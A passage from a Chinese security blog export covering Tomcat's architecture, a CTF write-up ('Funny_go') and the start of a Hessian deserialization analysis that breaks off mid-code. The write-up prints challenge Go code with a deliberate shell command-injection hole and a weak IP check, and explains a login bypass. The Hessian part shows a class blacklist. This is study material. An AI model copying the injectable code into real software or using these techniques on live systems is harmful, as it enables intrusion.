接受的请求,主要是处理内部事务,加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求,对应下图中的 servlet 容器。</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/TomcatUse.png" alt="img"></p><h4 id="server"><a class="markdownIt-Anchor" href="#server">#</a> Server</h4><blockquote><p>即服务器,代表整个 Tomcat 服务器,它要能够提供一个接口让其它程序能够访问到这个 Service 集合、同时要维护它所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问的 Service。还有其它的一些次要的任务</p></blockquote><h4 id="service"><a class="markdownIt-Anchor" href="#service">#</a> Service</h4><blockquote><p>Service 主要是为了关联 Connector 和 Container,同时会初始化它下面的其它组件,在 Connector 和 Container 外面多包一层,把它们组装在一起,向外面提供服务,一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。</p><p>Tomcat 中 Service 接口的标准实现类是 StandardService ,它不仅实现了 Service 借口同时还实现了 Lifecycle 接口,这样它就可以控制它下面的组件的生命周期了</p></blockquote><h4 id="connecter"><a class="markdownIt-Anchor" href="#connecter">#</a> Connecter</h4><blockquote><p>Connector 组件是 Tomcat 中两个核心组件之一,它的主要任务是负责接收浏览器的发过来的 tcp 连接请求,创建一个 Request 和 Response 对象分别用于和请求端交换数据,然后会产生一个线程来处理这个请求并把产生的 Request 和 Response 对象传给处理这个请求的线程,处理这个请求的线程就是 Container 组件要做的事了。</p></blockquote><blockquote><p>socket 通信<br>解析处理应用层协议,如将 socket 连接封装成 request 和 response 对象,后续交给 Container 来处理<br>将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse</p></blockquote><p>其中 Tomcat 设计了三个组件,其负责功能如下:</p><ul><li>EndPoint: 负责网络通信,将字节流传递给 Processor;</li><li>Processor: 负责处理字节流生成 Tomcat Request 对象,将 Tomcat Request 对象传递给 Adapter;</li><li>Adapter: 负责将 Tomcat Request 对象转化成 ServletRequest 对象,传递给容器。</li></ul><h4 id="adapter组件"><a class="markdownIt-Anchor" href="#adapter组件">#</a> Adapter 组件</h4><blockquote><p>由于协议的不同,Tomcat 定义了自己的 Request 类来存放请求信息,但是这个不是标准的 ServletRequest。于是需要使用 Adapter 将 Tomcat Request 对象转成 ServletRequest 对象,然后就能调用容器的 service 方法。</p><p>简而言之,Endpoint 接收到 Socket 连接后,生成一个 SocketProcessor 任务提交到线程池进行处理,SocketProcessor 的 run 方法将调用 Processor 组件进行应用层协议的解析,Processor 解析后生成 Tomcat Request 对象,然后会调用 Adapter 的 Service 方法,方法内部通过如下代码将 Request 请求传递到容器中。</p></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/TomcatConnector.png" alt="img"></p><h4 id="container"><a class="markdownIt-Anchor" href="#container">#</a> Container</h4><blockquote><p>Container(又名 Catalina)用于处理 Connector 发过来的 servlet 连接请求,它是容器的父接口,所有子容器都必须实现这个接口,Container 容器的设计用的是典型的责任链的设计模式,它有四个子容器组件构成,分别是:Engine、Host、Context、Wrapper,这四个组件不是平行的,而是父子关系,Engine 包含 Host,Host 包含 Context,Context 包含 Wrapper。</p></blockquote><blockquote><ul><li>Engine: 最顶层容器组件,可以包含多个 Host。实现类为 <code>org.apache.catalina.core.StandardEngine</code></li><li>Host: 代表一个虚拟主机,每个虚拟主机和某个域名 Domain Name 相匹配,可以包含多个 Context。实现类为 <code>org.apache.catalina.core.StandardHost</code></li><li>Context: 一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。实现类为 <code>org.apache.catalina.core.StandardContext</code></li><li>Wrapper: 一个 Wrapper 对应一个 Servlet。负责管理 Servlet ,包括 Servlet 的装载、初始化、执行以及资源回收。实现类为 <code>org.apache.catalina.core.StandardWrapper</code></li></ul></blockquote><p>看下面这个图可能会更直观一些</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/tomcat3.png" alt="img"></p><p>通常一个 Servlet class 对应一个 Wrapper,如果有多个 Servlet 就可以定义多个 Wrapper,如果有多个 Wrapper 就要定义一个更高的 Container。</p><p>举个🌰,a.com 和 b.com 分别对应着两个 Host</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/TomcatContainer.png" alt="img"></p><p>每一个 Context 都有唯一的 path。这里的 path 不是指 servlet 绑定的 WebServlet 地址,而是指独立的一个 Web 应用地址。就好比 Tomat 默认的 / 地址和 /manager 地址就是两个不同的 web 应用,所以对应两个不同的 Context。要添加 Context 需要在 server.xml 中配置 docbase。</p><h2 id="0x05-tomcat的类加载机制"><a class="markdownIt-Anchor" href="#0x05-tomcat的类加载机制">#</a> 0x05 Tomcat 的类加载机制</h2><blockquote><p>由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制。</p><p>Tomcat 自定义的类加载器 WebAppClassloader 为了确保隔离多个 WebApp 之间相互隔离,所以打破了双亲委托机制。每个 WebApp 用一个独有的 ClassLoader 实例来优先处理加载。它首先尝试自己加载某个类,如果找不到再交给父类加载器,其目的是优先加载 WEB 应用自己定义的类。</p><p>同时为了防止 WEB 应用自己的类覆盖 JRE 的核心类,在本地 WEB 应用目录下查找之前,先使用 ExtClassLoader(使用双亲委托机制)去加载,这样既打破了双亲委托,同时也能安全加载类。</p></blockquote>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
<tag> 内存马 </tag>
</tags>
</entry>
<entry>
<title>Funny_go</title>
<link href="/2023/07/23/funny_go1/"/>
<url>/2023/07/23/funny_go1/</url>
<content type="html"><![CDATA[<p><a href="https://pan.baidu.com/s/1nLaI1aZpA-IFkInIfKJrCw?pwd=z3q9">源码自行下载</a></p><p>回过头再看一下代码</p><p>有用的地方就是 <code>SubmitMoveHandler</code></p><p>直接去 move 打</p><p>其他都是废话</p><p>gorm 和 gin 框架</p><p>5 个路由</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">router.GET(<span class="string">"/user"</span>, UserHandler)<span class="comment">//用户登录信息</span></span><br><span class="line">router.POST(<span class="string">"/login"</span>, LoginHandler)<span class="comment">//对比数据库用户信息登录</span></span><br><span class="line">router.POST(<span class="string">"/upload"</span>, cookieCheckMiddleware(), UploadHandler) <span class="comment">//文件上传(需登录)</span></span><br><span class="line">router.POST(<span class="string">"/move"</span>, IpSecurityCheck(), SubmitMoveHandler)<span class="comment">//移动文件(判断IP)</span></span><br><span class="line">router.POST(<span class="string">"/download"</span>, cookieCheckMiddleware(), DownloadHandler)<span class="comment">//下载文件(需登录)</span></span><br></pre></td></tr></table></figure><p>首先从代码上两个比较明显的点</p><p>1、IpSecurityCheck</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">IpSecurityCheck</span><span class="params">()</span></span> gin.HandlerFunc {</span><br><span class="line"><span class="keyword">return</span> <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> {</span><br><span class="line"><span class="keyword">if</span> c.Request.RemoteAddr[:<span class="number">9</span>] != <span class="string">"127.0.0.1"</span> && c.Request.RemoteAddr[:<span class="number">9</span>] != <span class="string">"localhost"</span> {</span><br><span class="line">c.JSON(<span class="number">403</span>, gin.H{<span class="string">"msg"</span>: <span class="string">"No you'are not allowed"</span>})</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">c.Next()</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>2、SubmitMoveHandler</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SubmitMoveHandler</span><span class="params">(c *gin.Context)</span></span> {</span><br><span class="line"><span class="keyword">var</span> filename Filename</span><br><span class="line"><span class="keyword">if</span> err := c.ShouldBindJSON(&filename); err != <span class="literal">nil</span> {</span><br><span class="line">c.JSON(http.StatusBadRequest, gin.H{<span class="string">"error"</span>: err.Error()})</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">cmd := exec.Command(<span class="string">"/bin/bash"</span>, <span class="string">"-c"</span>, <span class="string">"mv ./upload/pdf/"</span>+filename.Filename+<span class="string">" ./assert/pdf/"</span>)</span><br><span class="line"><span class="keyword">if</span> err := cmd.Run(); err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">c.JSON(http.StatusOK, gin.H{<span class="string">"message"</span>: filename.Filename})</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>很明显的 SSRF 和命令注入</p><p>那么再来看下前置步骤</p><p>首先是 struct 进行查询时,gorm 只会查询非零字段,若值为 0,false,’' 或其他零值</p><p>gorm 会忽略 where 条件</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230723033803704.png" alt="image-20230723033803704"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230723033823276.png" alt="image-20230723033823276"></p><p>得到 username 和 password</p><p>进行登录</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230723033947090.png" alt="image-20230723033947090"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230723040521720.png" alt="image-20230723040521720"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230723034517349.png" alt="image-20230723034517349"></p><p>--------------------------9a28df6f0f9a180f Content-Disposition: form-data; name=“xx”; filename=“flag” Content-Type: application/octet-stream flag{ki10Moc_W0nt_31eep} --------------------------9a28df6f0f9a180f–</p><p>但其实这题代码写的有问题</p><p>5 个路由只需要 move 即可</p><p>因为 move 没有身份验证</p><p>可以直接打</p><p>单纯的命令注入</p><p>突然看到有命令执行!</p><p>攻击队上班了?</p><p>乐,复现题目被态势感知记录了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230723012127208.png" alt="image-20230723012127208"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Go </tag>
<tag> Gin </tag>
<tag> Gorm </tag>
</tags>
</entry>
<entry>
<title>Hessian反序列化</title>
<link href="/2023/06/05/Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<url>/2023/06/05/Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</url>
<content type="html"><![CDATA[<p>[TOC]</p><h1 id="0x01-hessian简介"><a class="markdownIt-Anchor" href="#0x01-hessian简介">#</a> 0x01 Hessian 简介</h1><blockquote><p>Hessian 是二进制的 web service 协议,官方对 Java、Flash/Flex、Python、C++、.NET C# 等多种语言都进行了实现。Hessian 和 Axis、XFire 都能实现 web service 方式的远程方法调用,区别是 Hessian 是二进制协议,Axis、XFire 则是 SOAP 协议,所以从性能上说 Hessian 远优于后两者,并且 Hessian 的 JAVA 使用方法非常简单。它使用 Java 语言接口定义了远程对象,集合了序列化 / 反序列化和 RMI 功能。</p></blockquote><p>Hessian 是基于 Field 机制的反序列化。是直接对 Field 进行复制操作的机制,不是通过 getter、setter 方法对属性赋值。就对象进行的方法调用而言,基于字段的机制通常通常不构成攻击面。</p><h2 id="hessian概念图"><a class="markdownIt-Anchor" href="#hessian概念图">#</a> Hessian 概念图</h2><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20220407164201828.png" alt="img"></p><ul><li>Serializer:序列化的接口</li><li>Deserializer :反序列化的接口</li><li>AbstractHessianInput :hessian 自定义的输入流,提供对应的 read 各种类型的方法</li><li>AbstractHessianOutput :hessian 自定义的输出流,提供对应的 write 各种类型的方法</li><li>AbstractSerializerFactory:抽象序列化工厂类</li><li>SerializerFactory :Hessian 序列化工厂的标准实现</li><li>ExtSerializerFactory:可以设置自定义的序列化机制,通过该 Factory 可以进行扩展</li><li>BeanSerializerFactory:对 SerializerFactory 的默认 object 的序列化机制进行强制指定,指定为使用 BeanSerializer 对 object 进行处理</li></ul><p>Hessian Serializer/Derializer 默认情况下实现了以下序列化 / 反序列化器,用户也可通过接口 / 抽象类自定义序列化 / 反序列化器:</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717090136667.png" alt="image-20230717090136667"></p><p>序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化;反序列化时也会根据对象、属性不同类型选择不同的反序列化器;每个类型序列化器中还有具体的 FieldSerializer。这里注意下 JavaSerializer/JavaDeserializer 与 BeanSerializer/BeanDeserializer,它们不是类型序列化 / 反序列化器,而是属于机制序列化 / 反序列化器:</p><ol><li>JavaSerializer:通过反射获取所有 bean 的属性进行序列化,排除 static 和 transient 属性,对其他所有的属性进行递归序列化处理 (比如属性本身是个对象)</li><li>BeanSerializer 是遵循 pojo bean 的约定,扫描 bean 的所有方法,发现存在 get 和 set 方法的属性进行序列化,它并不直接直接操作所有的属性,比较温柔</li></ol><h2 id="总结扩展"><a class="markdownIt-Anchor" href="#总结扩展">#</a> 总结 & 扩展</h2><p>1、Hessian 是二进制的 web service 协议,用于在分布式系统中进行远程过程调用(RPC)和序列化。</p><p>(这里提一句,看到远程调用可能会想到 RMI,其实这俩都是为了远程调用程序设计的,其中 RMI 是专门针对 java 语言的。而 RPC 是一种通用的概念,可应用于不同的编程语言之间的通信。两者都需要定义接口或者方法来描述可远程调用的操作。)</p><p>2、Hessian 因为是二进制协议,所以传输速率上要优于其他协议。但其相交于 json 格式其字节数会更多。并且不易读 (毕竟二进制)。<a href="https://www.bilibili.com/video/BV1UB4y137jJ/?buvid=Y647AB69408AEF52431692A0EF75047505E2&is_story_h5=false&mid=wO%2FoaR2s9SMdAN2y%2F%2B5F8w%3D%3D&p=1&plat_id=114&share_from=ugc&share_medium=iphone&share_plat=ios&share_session_id=CB74407B-7EEC-44A5-8580-95BCC15ED808&share_source=QQ&share_tag=s_i&timestamp=1689490462&unique_k=Z6TubJM&up_id=114211556&vd_source=06af58cf43c55373ff2006011cb9adde">hessian 序列化 - demo 演示_哔哩哔哩_bilibili</a></p><p>3、Hessian 的反序列化是基于 Field 机制的。许多集合、Map 等类型无法使用它们运行时表示形式进行传输 / 存储,这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法,例如 Hessian 中如果是反序列化 map 类型,会调用 MapDeserializer 处理 map,期间 map 的 put 方法被调用,map 的 put 方法又会计算被恢复对象的 hash 造成 hashcode 调用(这里对 hashcode 方法的调用就是前面说的必须调用攻击者提供的对象上的方法),根据实际情况,可能 hashcode 方法中还会触发后续的其他方法调用。</p><h2 id="测试"><a class="markdownIt-Anchor" href="#测试">#</a> 测试</h2><p>下面我们来看下原生的反序列化</p><p>一个 test 类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> {</span><br><span class="line"> <span class="keyword">public</span> String name=<span class="string">"ki10Moc"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> age=<span class="number">222</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setAge</span><span class="params">(<span class="type">int</span> age)</span> {</span><br><span class="line"> <span class="built_in">this</span>.age = age;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> {</span><br><span class="line"> <span class="built_in">this</span>.name = name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getAge</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> age;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream ois)</span>{</span><br><span class="line"> System.out.print(<span class="string">"自动调用了readObject方法"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>一个 demo 启动类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">demo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException {</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">ser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(ser);</span><br><span class="line"> oser.writeObject(<span class="keyword">new</span> <span class="title class_">test</span>());</span><br><span class="line"> oser.close();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> System.out.println(ser);</span><br><span class="line"> ObjectInputStream unser=<span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(ser.toByteArray()));</span><br><span class="line"> Object newobj=unser.readObject();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091105399.png" alt="image-20230717091105399"></p><p>再来看一个 Hessian 的反序列化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.HessianInput;</span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.HessianOutput;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HessianDemo</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">ser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> HessianOutput hessianOutput=<span class="keyword">new</span> <span class="title class_">HessianOutput</span>(ser);</span><br><span class="line"> hessianOutput.writeObject(<span class="keyword">new</span> <span class="title class_">test</span>());</span><br><span class="line"> hessianOutput.close();</span><br><span class="line"></span><br><span class="line"> System.out.println(ser);</span><br><span class="line"></span><br><span class="line"> HessianInput hessianInput=<span class="keyword">new</span> <span class="title class_">HessianInput</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(ser.toByteArray()));</span><br><span class="line"> hessianInput.readObject();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091132040.png" alt="image-20230717091132040"></p><p>可以发现其并不会像原生的 Gadget 自动调用 readObject 方法</p><p>并且 Hessian 反序列化中的类是不需要实现序列化接口的</p><p>下面我们 debug 看下</p><h1 id="0x02-调试分析"><a class="markdownIt-Anchor" href="#0x02-调试分析">#</a> 0x02 调试分析</h1><h2 id="无用的流程"><a class="markdownIt-Anchor" href="#无用的流程">#</a> 无用的流程</h2><p>这段 debug 可能也没什么意义吧。。似乎</p><p>只是走了一遍流程,嫌麻烦的话完全可以去掉这一过程</p><p>进入 HessianInput 的 readObject 方法</p><p>首先判断第一个 tag 为 77 (M)</p><p>因为 Hessian 序列化时将结果处理成了 Map</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091310090.png" alt="image-20230717091310090"></p><p>然后是遍历反序列化对象的名称字段和 ascill</p><p>我这里就是 org.example.test</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091352063.png" alt="image-20230717091352063"></p><p>到这里开始就进入到了序列化工厂类</p><p>先是调用 readMap</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091417005.png" alt="image-20230717091417005"></p><p>这里就是看哪种能获取哪种 type,然后调用对应的反序列化器</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">readMap</span><span class="params">(AbstractHessianInput in, String type)</span></span><br><span class="line"> <span class="keyword">throws</span> HessianProtocolException, IOException</span><br><span class="line"> {</span><br><span class="line"> <span class="type">Deserializer</span> <span class="variable">deserializer</span> <span class="operator">=</span> getDeserializer(type);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (deserializer != <span class="literal">null</span>)</span><br><span class="line"> <span class="keyword">return</span> deserializer.readMap(in);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (_hashMapDeserializer != <span class="literal">null</span>)</span><br><span class="line"> <span class="keyword">return</span> _hashMapDeserializer.readMap(in);</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> _hashMapDeserializer = <span class="keyword">new</span> <span class="title class_">MapDeserializer</span>(HashMap.class);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> _hashMapDeserializer.readMap(in);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>第一步先进入 <code>getDeserializer</code></p><p>先判断类型,不能为空</p><p>进入下一个 if</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091500699.png" alt="image-20230717091500699"></p><p>其中 <code>_cachedSerializerMap</code> 是一个私有的 HashMap 类型</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091650023.png" alt="image-20230717091650023"></p><p>然后这里获取到 type,并强转为 Deserializer</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091702256.png" alt="image-20230717091702256"></p><p>但这里 deserializer 的值仍为 null</p><p>说明其 type 没有对应上</p><p>最后一个判断,是否是 [(数组) 开头,显然也不是</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091714769.png" alt="image-20230717091714769"></p><p>进入 try 的 loadSerializedClass 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Class<?> loadSerializedClass(String className)</span><br><span class="line"> <span class="keyword">throws</span> ClassNotFoundException</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">return</span> getClassFactory().load(className);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>该方法直接调用了 getClassFactory ().load 处理结果并返回</p><p>继续跟进</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Class<?> load(String className)</span><br><span class="line"> <span class="keyword">throws</span> ClassNotFoundException</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (isAllow(className)) {</span><br><span class="line"> <span class="keyword">return</span> Class.forName(className, <span class="literal">false</span>, _loader);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> HashMap.class;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717091811304.png" alt="image-20230717091811304"></p><p>这里就将 org.example.test 初始化</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717092945067.png" alt="image-20230717092945067"></p><p>接下来就是判断</p><p>我们直接看下代码,也是比较好理解的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Allow</span> {</span><br><span class="line"> <span class="keyword">private</span> Boolean _isAllow;</span><br><span class="line"> <span class="keyword">private</span> Pattern _pattern;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">private</span> <span class="title function_">Allow</span><span class="params">(String pattern, <span class="type">boolean</span> isAllow)</span></span><br><span class="line"> {</span><br><span class="line"> _isAllow = isAllow;</span><br><span class="line"> _pattern = Pattern.compile(pattern);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> Boolean <span class="title function_">allow</span><span class="params">(String className)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (_pattern.matcher(className).matches()) {</span><br><span class="line"> <span class="keyword">return</span> _isAllow;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> ArrayList<Allow> blacklist = <span class="keyword">new</span> <span class="title class_">ArrayList</span><Allow>();</span><br><span class="line"> </span><br><span class="line"> blacklist.add(<span class="keyword">new</span> <span class="title class_">Allow</span>(<span class="string">"java\\.lang\\.Runtime"</span>, <span class="literal">false</span>));</span><br><span class="line"> blacklist.add(<span class="keyword">new</span> <span class="title class_">Allow</span>(<span class="string">"java\\.lang\\.Process"</span>, <span class="literal">false</span>));</span><br><span class="line"> blacklist.add(<span class="keyword">new</span> <span class="title class_">Allow</span>(<span 